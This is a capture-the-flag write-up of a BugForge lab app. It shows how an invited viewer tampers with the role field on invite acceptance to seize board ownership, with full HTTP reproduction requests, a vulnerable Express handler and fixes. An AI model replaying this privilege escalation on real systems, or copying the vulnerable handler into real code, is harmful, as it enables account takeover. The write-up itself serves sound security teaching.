Mosaic: Role Tampering on Invite Acceptance
Executive Summary
Mosaic is a collaborative whiteboard application: a Vue 3 SPA in front of an Express-style JSON API, with an opaque mosaic_session cookie, a CSRF token read from /api/auth/me and sent on API calls, and a strict CSP. Users register into their own workspace, create boards, place notes and frames on a canvas, comment, and invite collaborators as editors or viewers. This rotation of the lab added an invite acceptance flow where the client posts a role back to the server when accepting an invite.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Role tampering on invite acceptance: invited viewer seizes board ownership | High | 8.8 | CWE-915, CWE-269 | POST /api/invites/accept |
The invite acceptance endpoint persists a role chosen by the client instead of the role the invite actually granted. An invite issued as viewer was accepted with {"role":"owner"}, making the accepting account the owner of the inviter’s board and removing the original owner from it entirely. The flag was returned directly in the acceptance response.
Objective
Identify and exploit a security defect in the Mosaic whiteboard application (BugForge lab) and retrieve the flag. The operator hint for this rotation was “invite someone to your workspace.”
Scope / Initial Access
# Target Application
URL: https://lab-1792179418387-mff0dk.labs-app.bugforge.io/
# Auth details
POST /api/auth/register {name,email,password} -> 201 + Set-Cookie: mosaic_session (HttpOnly, SameSite=Strict, 8h)
GET /api/auth/me -> {user:{id,workspace_id,name,email,role,color}, csrf}
API calls carry the csrf value in an X-CSRF-Token header.
A new account gets its own workspace and a welcome board; its account role is "admin" of that workspace.
Registration is open, and each account owns its own workspace. Board membership is a separate concept from the account role: a board has an owner (its creator) and can grant editor or viewer to other users. The finding is an escalation within that board membership model, so the test used two accounts: Alice (the board owner and victim) and Bob (the invited collaborator and attacker).
Accounts Used
| Account | User ID | Board role | Purpose |
|---|---|---|---|
| Alice | bd604398-1c26-4f0f-9d4e-f8c6e781355d |
owner (of board ed704da6…) |
creates a private board, issues a viewer invite |
| Bob | 59a92112-a414-4172-844b-6243e9c85c34 |
invited viewer, then attacker | escalates to owner on acceptance |
Reconnaissance: Reading the Rotated Bundle
The front-end bundle was served under a different hash than the one recorded for the previous rotation (index-CiDEgFL2.js versus index-DdB30dw5.js), so the Vite bundle was read in full rather than assumed, and the invite flow was walked as a normal user through the proxy.
- Board identifiers are UUIDv4 this rotation. The previous rotation used sequential integer board IDs, so the earlier approach of walking board IDs does not apply here.
- The invite flow reads an
?invite=<token>query parameter, callsGET /api/invites/<token>to render a banner naming the board and the offered role, and the Accept button posts toPOST /api/invites/accept. - The acceptance call in the bundle sends both the token and a role:
b("/invites/accept","POST",{token:Pe.value,role:ve.value.role}). The client sends the role back to the server on acceptance. - The role selector in the invite UI only ever offers
editororviewer.owneris not a selectable option, but the role travels on the wire as a plain string in the request body. - The acceptance response is where the flag surfaces: the success toast renders
M.flagfrom the response body. This marksPOST /api/invites/acceptas the intended sink.
Observations 3 through 5 motivated a single test: accept a legitimate viewer invite but substitute role:"owner" in the request body.
Application Architecture
| Component | Detail |
|---|---|
| Frontend | Vue 3 SPA, Vite bundle index-CiDEgFL2.js |
| Backend | Express-style JSON API ({"error":"..."} envelope, weak W/"..." ETags); framework not confirmed |
| Auth | Opaque mosaic_session cookie (HttpOnly, SameSite=Strict, 8h); CSRF token from /api/auth/me sent as X-CSRF-Token |
| Headers | CSP script-src 'self', X-Frame-Options: DENY, nosniff, CORP same-origin |
| Realtime | WebSocket /live?board=<id> (subprotocol mosaic) |
| IDs | Boards, users and workspaces: UUIDv4 (boards were sequential integers in the previous rotation) |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
| /api/auth/register | POST | No | Creates user, workspace and welcome board |
| /api/auth/me | GET | Yes | User object + CSRF token |
| /api/boards | GET / POST | Yes | List returns own and member boards; create returns {id} |
| /api/boards/:id | GET | Yes | 404 for a non-member |
| /api/boards/:id/invites | POST | Yes (owner) | Create invite {email, role} -> {token} |
| /api/invites/:token | GET | Yes | Invite lookup -> {title, role} (new this rotation) |
| /api/invites/accept | POST | Yes | Accepts {token, role}; binds the client role to membership (F1) |
Attack Chain Visualization
┌──────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ 1. A invites B as │ │ 2. B registers │ │ 3. B accepts, sends │ │ 4. Server binds the │ │ 5. Original owner │
│ viewer │ │ (invited email) │ │ role:"owner" │ │ role from body │ │ locked out │
│ POST /boards/:id/ │──▶│ POST /auth/register │──▶│ POST /invites/accept │──▶│ B becomes owner │──▶│ GET /boards/:id │
│ invites │ │ → B session cookie │ │ {token, role:owner} │ │ 200 OK + flag │ │ 404 Board not found │
│ → invite token │ │ │ │ │ │ │ │ │
│ │ │ │ │ │ │ │ │ │
└──────────────────────┘ └──────────────────────┘ └──────────────────────┘ └──────────────────────┘ └──────────────────────┘
Findings
F1: Role Tampering on Invite Acceptance: Invited Viewer Seizes Board Ownership
Severity: High
CVSS v3.1: 8.8 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
CWE: CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes), CWE-269 (Improper Privilege Management)
Endpoint: POST /api/invites/accept
Authentication required: Yes. The attacker must hold a valid invite issued by the board owner (the server enforces that the invited email matches the accepting account), so this is an escalation available to an invited collaborator, not to any anonymous or unrelated user.
Description
POST /api/invites/accept takes a role from the request body and binds it to the new board membership without checking it against the role the invite actually granted. An invite issued as viewer was accepted with {"token":"...","role":"owner"}, and the accepting account became the board’s owner. The front end only ever sends the role the invite granted, and its selector caps at editor or viewer, so the role on the wire is controlled by the attacker and owner (a value the UI never offers) is accepted.
The server did enforce that the invited email match the accepting account: an account registered under a different email received the error “belongs to another email address”. The role was therefore the only value that differed from the legitimate acceptance the front end would have sent, which isolates the defect to the handler’s trust of the client role.
After the exploit, the board stays in Alice’s workspace (workspace_id unchanged) but its owner_id becomes Bob’s user id. The board disappears from Alice’s board list, and GET /api/boards/ed704da6… returns “Board not found.” for Alice. Ownership moved across a workspace boundary while the board itself did not. The CVSS scope is assessed as Unchanged: the same application and its authorization model govern both workspaces, so no separate security authority is crossed.
Impact
Privilege escalation from an invited viewer to board owner, giving full control of another user’s board and locking out its original owner.
Reproduction
Step 1: Register the board owner (Alice)
POST /api/auth/register HTTP/1.1
Host: lab-1792179418387-mff0dk.labs-app.bugforge.io
Content-Type: application/json
{"name":"Alice","email":"[email protected]","password":"Passw0rd!1792179965"}
Response: 201 Created, {"ok":true}, Set-Cookie: mosaic_session=.... The CSRF token for Alice’s subsequent calls is read from GET /api/auth/me.
Step 2: Alice creates a private board
POST /api/boards HTTP/1.1
Host: lab-1792179418387-mff0dk.labs-app.bugforge.io
Cookie: mosaic_session=<Alice session>
X-CSRF-Token: <Alice CSRF>
Content-Type: application/json
{"title":"Alice board 1792179965","description":"test","visibility":"private"}
Response: 201 Created, {"id":"ed704da6-8080-407f-800e-a8058a24cfc8"}.
Step 3: Alice invites Bob as a viewer
POST /api/boards/ed704da6-8080-407f-800e-a8058a24cfc8/invites HTTP/1.1
Host: lab-1792179418387-mff0dk.labs-app.bugforge.io
Cookie: mosaic_session=<Alice session>
X-CSRF-Token: <Alice CSRF>
Content-Type: application/json
{"email":"[email protected]","role":"viewer"}
Response: 201 Created, {"token":"7606115c440e1b4771c79df5795b1f593ffe0fb0da941071252c033d68a64432"}. The invite grants the lowest board role, viewer.
Step 4: Register Bob with the invited email
POST /api/auth/register HTTP/1.1
Host: lab-1792179418387-mff0dk.labs-app.bugforge.io
Content-Type: application/json
{"name":"Bob","email":"[email protected]","password":"Passw0rd!1792179965"}
Response: 201 Created, {"ok":true}, Set-Cookie: mosaic_session=.... The email matches the invite; Bob’s CSRF token is read from GET /api/auth/me.
Step 5: Bob accepts the invite but sends role:"owner"
POST /api/invites/accept HTTP/1.1
Host: lab-1792179418387-mff0dk.labs-app.bugforge.io
Cookie: mosaic_session=<Bob session>
X-CSRF-Token: <Bob CSRF>
Content-Type: application/json
{"token":"7606115c440e1b4771c79df5795b1f593ffe0fb0da941071252c033d68a64432","role":"owner"}
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"id":"ed704da6-8080-407f-800e-a8058a24cfc8","flag":"bug{trliqUixy3HOP3TCeoQkdVtgfTMmhauA}"}
The server accepted the owner role and returned the board id and the flag.
Step 6: Confirm the takeover and the original owner’s lockout
Bob’s board list now contains the board with "role":"owner" and owner_id set to Bob’s user id, while workspace_id remains Alice’s:
{"id":"ed704da6-8080-407f-800e-a8058a24cfc8","workspace_id":"21dd6655-f364-4777-b81e-05ef73ab769c","owner_id":"59a92112-a414-4172-844b-6243e9c85c34","title":"Alice board 1792179965","visibility":"private","role":"owner","owner_name":"Bob"}
Alice, requesting her former board:
GET /api/boards/ed704da6-8080-407f-800e-a8058a24cfc8 HTTP/1.1
Host: lab-1792179418387-mff0dk.labs-app.bugforge.io
Cookie: mosaic_session=<Alice session>
X-CSRF-Token: <Alice CSRF>
HTTP/1.1 404 Not Found
{"error":"Board not found."}
The board is gone from Alice’s view; Bob holds it as owner.
Remediation
Fix 1: Derive the role from the stored invite and ignore any client role on acceptance
The role must come from the invite the owner issued, not from the acceptance request body. Source was not available; the code below is illustrative, and the invite and membership tables stand in for however the application records them.
// BEFORE (Vulnerable)
router.post('/invites/accept', requireAuth, async (req, res) => {
const { token, role } = req.body;
const invite = await db.get('SELECT * FROM invites WHERE token = ?', token);
if (!invite || invite.email !== req.user.email) {
return res.status(404).json({ error: 'Invite not found.' });
}
await db.run(
'INSERT INTO board_members (board_id, user_id, role) VALUES (?, ?, ?)',
invite.board_id, req.user.id, role // role chosen by the client
);
res.json({ id: invite.board_id });
});
// AFTER (Secure)
router.post('/invites/accept', requireAuth, async (req, res) => {
const { token } = req.body; // the client role is never read
const invite = await db.get(
'SELECT * FROM invites WHERE token = ? AND used = 0', token
);
if (!invite || invite.email !== req.user.email) {
return res.status(404).json({ error: 'Invite not found.' });
}
await db.run(
'INSERT INTO board_members (board_id, user_id, role) VALUES (?, ?, ?)',
invite.board_id, req.user.id, invite.role // role read from the stored invite
);
await db.run('UPDATE invites SET used = 1 WHERE token = ?', token);
res.json({ id: invite.board_id });
});
Fix 2: Treat owner as non-grantable and validate roles against an allowlist
owner is the board creator and should never be assignable through an invite or an acceptance. Reject any role outside the grantable set when an invite is created, so an invite can never carry owner in the first place.
// AFTER (Secure): applied where invites are created
const GRANTABLE_ROLES = new Set(['editor', 'viewer']); // 'owner' is never grantable
if (!GRANTABLE_ROLES.has(req.body.role)) {
return res.status(400).json({ error: 'Invalid role.' });
}
Additional recommendations:
- Audit the other endpoints that accept a role from the client for the same pattern.
POST /api/boards/:id/invitesandPOST /api/boards/:id/membersboth take a role in their request bodies and should validate it against the grantable allowlist rather than persisting it as sent. These were not tested in this engagement. - Add an authorization regression test that accepts an invite with an elevated role (for example a
viewerinvite accepted withrole:"owner") and expects the membership to be created asviewer.
OWASP Top 10 Coverage
- A01:2021 Broken Access Control: the acceptance handler grants a privilege (board ownership) the invite never conferred, basing the authorization decision on a value supplied by the client.
- API3:2023 Broken Object Property Level Authorization (OWASP API Top 10): the
roleproperty of a membership is writable by the client when it should be set by the server from the stored invite.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Proxy history of the invite walk and Replay for crafting the acceptance with role:"owner" |
| curl | Scripting the chain across the two accounts (register, invite, accept) |
| Firefox | Walking the invite flow and reading the Vite bundle |
References
- CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
- CWE-269: Improper Privilege Management
- OWASP Top 10 A01:2021 Broken Access Control
- OWASP API Security Top 10 API3:2023 Broken Object Property Level Authorization
- OWASP Mass Assignment Cheat Sheet
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
| Accept the invite from an account whose email does not match the invite | Error: the invite “belongs to another email address” | The acceptance handler binds the invite to the invited email, so a different identity cannot consume it. This is the control that leaves the role as the only value that differed from a legitimate acceptance. |
Tags: #mass-assignment #privilege-escalation #broken-access-control #role-tampering #invite-accept #bugforge
Document Version: 1.0
Last Updated: 2026-10-17